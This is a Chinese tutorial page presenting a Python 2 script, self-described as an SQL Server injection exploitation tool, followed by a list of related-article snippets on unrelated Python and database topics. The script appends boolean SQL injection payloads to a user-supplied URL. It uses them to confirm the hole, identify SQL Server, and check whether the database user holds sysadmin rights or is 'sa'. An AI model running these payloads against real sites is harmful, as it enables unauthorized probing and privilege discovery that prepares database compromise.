Python编写检测数据库SA用户的方法

本文讲述一个用Python写的小程序,用于有注入点的链接,以检测当前数据库用户是否为sa,详细代码如下:

# Code by zhaoxiaobu Email: little.bu@hotmail.com
#-*- coding: UTF-8 -*-
from sys import exit
from urllib import urlopen
from string import join,strip
from re import search  

def is_sqlable():
  sql1="%20and%201=2"
  sql2="%20and%201=1"
  urlfile1=urlopen(url+sql1)
  urlfile2=urlopen(url+sql2)
  htmlcodes1=urlfile1.read()
  htmlcodes2=urlfile2.read()
  if not search(judge,htmlcodes1) and search(judge,htmlcodes2):
  print "[信息]恭喜!这个URL是有注入漏洞的!n"
  print "[信息]现在判断数据库是否是SQL Server,请耐心等候....."
  is_SQLServer()
  else:
  print "[错误]你确定这个URL能用?换个别的试试吧!n"

def is_SQLServer():
  sql = "%20and%20exists%20(select%20*%20from%20sysobjects)"
  urlfile=urlopen(url+sql)
  htmlcodes=urlfile.read()
  if not search(judge,htmlcodes):
  print "[错误]数据库好像不是SQL Server的!n"
  else:
  print "[信息]确认是SQL Server数据库!n"
  print "[信息]开始检测当前数据库用户权限,请耐心等待......"
  is_sysadmin() 

def is_sysadmin():
  sql = "%20and%201=(select%20IS_SRVROLEMEMBER('sysadmin'))"
  urlfile = urlopen(url+sql)
  htmlcodes = urlfile.read()
  if not search(judge,htmlcodes):
    print "[错误]当前数据库用户不具有sysadmin权限!n"
  else:
    print "[信息]当前数据库用户具有sysadmin权限!n"
    print "[信息]检测当前用户是不是SA,请耐心等待......"
    is_sa()  

def is_sa():
  sql = "%20and%20'sa'=(select%20System_user)";
  urlfile = urlopen(url+sql)
  htmlcodes = urlfile.read()
  if not search(judge,htmlcodes):
    print "[错误]当前数据库用户不是SA!n"
  else:
    print "[信息]当前数据库用户是SA!n" 

print "n########################################################################n"
print "            ^o^SQL Server注入利用工具^o^     "
print "           Email: little.bu@hotmail.comn"
print "========================================================================";
url = raw_input('[信息]请输入一个可能有注入漏洞的链接!nURL:')
if url == '':
  print "[错误]提供的URL必须具有 '.asp?xxx=' 这样的格式"
  exit(1)  

judge = raw_input("[信息]请提供一个判断字符串.n判断字符串:")
if judge == '':
  print "[错误]判断字符串不能为空!"
  exit(1)  

is_sqlable()
(0)

相关推荐

  • 在Python的Flask框架中验证注册用户的Email的方法

    本教程详细介绍在用户注册过程中如何去验证他们的email地址. 工作流程上来讲,在用户注册一个新账户后会寄送一个确认信.直到用户按指示完成了邮件中的"验证",否则他们的账户会一直处于"未验证"状态.这是大多数网络应用会采用的工作流程. 这当中很重要的一件事就是,未验证的用户有什么权限?或者说,对于你的应用,他们是有全部权限呢,还是被限制的权限呢,还是根本没有权限?对于本教程中的应用,未验证用户会在登录后进到一个页面,会提醒他们只有验证了账户才可以进入应用. 开始前说

  • 编写Python爬虫抓取豆瓣电影TOP100及用户头像的方法

    抓取豆瓣电影TOP100 一.分析豆瓣top页面,构建程序结构 1.首先打开网页http://movie.douban.com/top250?start,也就是top页面 然后试着点击到top100的页面,注意带top100的链接依次为 http://movie.douban.com/top250?start=0 http://movie.douban.com/top250?start=25 http://movie.douban.com/top250?start=50 http://movie

  • 采用python实现简单QQ单用户机器人的方法

    采用python实现简单QQ单用户机器人的方法如下: 一.首先我们查看一下关于3GQQ的相关协议:     对此,打开一个支持WAP的浏览器,可以使用Firefox的wmlbrowser插件,打开FF后,访问地址 https://addons.mozilla.org/zh-CN/firefox/search/?q=wmlbrowser&cat=all&x=17&y=11    二.进入3GQQ的进行协议分析     3GQQ的地址是:http://pt.3g.qq.com/s?ai

  • 使用python实现生成用户信息

    今天练习的时候要展示一个从用户信息列表,就想把他做成信息和修改在一起的一个网页,方便用户修改内容 考虑到要把信息和值分开放,那么肯定是字典了,因为需要保证位置不变,使用有序字典 考虑到需要解析方便和好看点,所以让models.py中返回的就直接是"k1 v1 k2 v2"格式 第一步: 修改models.py文件,将之前的分割符全部去掉,使用空格分割 为了省事和可读的折中吧,没有使用格式化字符串的时候没有用关键字 def __str__(self): return "emai

  • python批量导出导入MySQL用户的方法

    数据库迁移(A -> B),需要把用户也迁移过去,而用户表(mysql.user)有上百个用户.有2种方法进行快速迁移:1,在同版本的条件下,直接备份A服务器的mysql数据库,还原到B服务器.2,要是不同版本的数据(5.1 -> 5.5),很可能mysql数据库下面的一些表结构,甚至表数据的默认值都不一样,按照1的方法进行迁移,虽然最后也是可以正常访问,但是还是有些不太放心,很可能会影响到了B服务器上的MySQL,这样就需要用命令行来生成帐号了,这样是最安全和放心的.下面用python脚本来

  • Python 用户登录验证的小例子

    复制代码 代码如下: #!/usr/bin/python#coding=gbk class User:    def __init__(self,username,password,age,sex):        self.username=username        self.password=password        self.age=age        self.sex=sex def tell(self):        print 'UserContext:Name:%s

  • Python编写检测数据库SA用户的方法

    本文讲述一个用Python写的小程序,用于有注入点的链接,以检测当前数据库用户是否为sa,详细代码如下: # Code by zhaoxiaobu Email: little.bu@hotmail.com #-*- coding: UTF-8 -*- from sys import exit from urllib import urlopen from string import join,strip from re import search def is_sqlable(): sql1="

  • Python操作MySQL数据库的三种方法总结

    1. MySQLdb 的使用 (1) 什么是MySQLdb? MySQLdb 是用于 Python 连接 MySQL 数据库的接口,它实现了 Python 数据库 API 规范 V2.0,基于 MySQL C API 上建立的. (2) 源码安装 MySQLdb: https://pypi.python.org/pypi/MySQL-python $ tar zxvf MySQL-python-*.tar.gz $ cd MySQL-python-* $ python setup.py buil

  • 使用python编写udp协议的ping程序方法

    服务器端 import random from socket import * serverSocket = socket(AF_INET, SOCK_DGRAM)#建立udp协议的socket连接 serverSocket.bind(('', 12000)) while True: rand = random.randint(0, 10)#生成随机数,模拟udp环境下的丢包 message, address = serverSocket.recvfrom(1024)#接收客户端发送的信息,应该

  • Python实现检测文件MD5值的方法示例

    本文实例讲述了Python实现检测文件MD5值的方法.分享给大家供大家参考,具体如下: 前面介绍过Python计算文件md5值的方法,这里分析一下Python检测文件MD5值的另一种实现方法. 概述: MD5(单向散列算法)的全称是Message-Digest Algorithm 5(信息-摘要算法),经MD2.MD3和MD4发展而来.MD5算法的使用不需要支付任何版权费用. 实现代码: #python 检测文件MD5值 #python version 2.6 import hashlib im

  • Python+OpenCV检测灯光亮点的实现方法

    本篇博文分享一篇寻找图像中灯光亮点(图像中最亮点)的教程,例如,检测图像中五个灯光的亮点并标记,项目效果如下所示: 第1步:导入并打开原图像,实现代码如下所示: # import the necessary packages from imutils import contours from skimage import measure import numpy as np import argparse import imutils import cv2 # construct the arg

  • 解决sql server 数据库,sa用户被锁定的问题

    sql server 数据库,sa用户被锁定 1.打开数据库--用Windows身份登录数据库 2.登录名--双击sa(打开属性) 3.常规--设置密码--确定 4.状态--登录:启用:去掉登陆已锁定勾选,--确定 5. 右击服务器名--属性 6.安全性--选中 SQL Server 和 Windows 身份验证模式--确定 7.右击服务器名--重新启动--关闭数据库连接,退出程序--用sa登录到数据库--解决 SQL Server账号密码(sa)登录失败 错误原因:18456 其实以前经常用的

  • python操作redis数据库的三种方法

    安装依赖 pip3 install redis 使用的三种方式 直接使用 import redis r = redis.Redis(host='127.0.0.1', port=6379, db=1, password=None, decode_responses=True) 连接池使用 import redis pool = redis.ConnectionPool(host='127.0.0.1', port=6379, db=1, max_connections=100, password

  • oracle创建数据库和用户的方法

    大家在项目开发过程中应用mysql和sql server比较多,oracle用的比较少,mysql和sqlserver用起来比较类似,mysql和sqlserver直接通过create database "数据库名"就可以创建数据库了,而oracle在创建数据库的时候要数据库和用户一般是意义对应的,下面是创建oracle数据库的步骤: 创建两个数据库的文件 创建用户与上面创建的文件形成映射关系 给用户添加权限 一.创建两个数据库的文件(monitor.dbf 和monitor_temp

  • 2款Python内存检测工具介绍和使用方法

    去年自己写过一个程序时,不太确定自己的内存使用量,就想找写工具来打印程序或函数的内存使用量.这里将上次找到的2个内存检测工具的基本用法记录一下,今后分析Python程序内存使用量时也是需要的. memory_profiler模块(与psutil一起使用)注:psutil这模块,我太喜欢了,它实现了很多Linux命令的主要功能,如:ps, top, lsof, netstat, ifconfig, who, df, kill, free 等等.示例代码(https://github.com/smi

随机推荐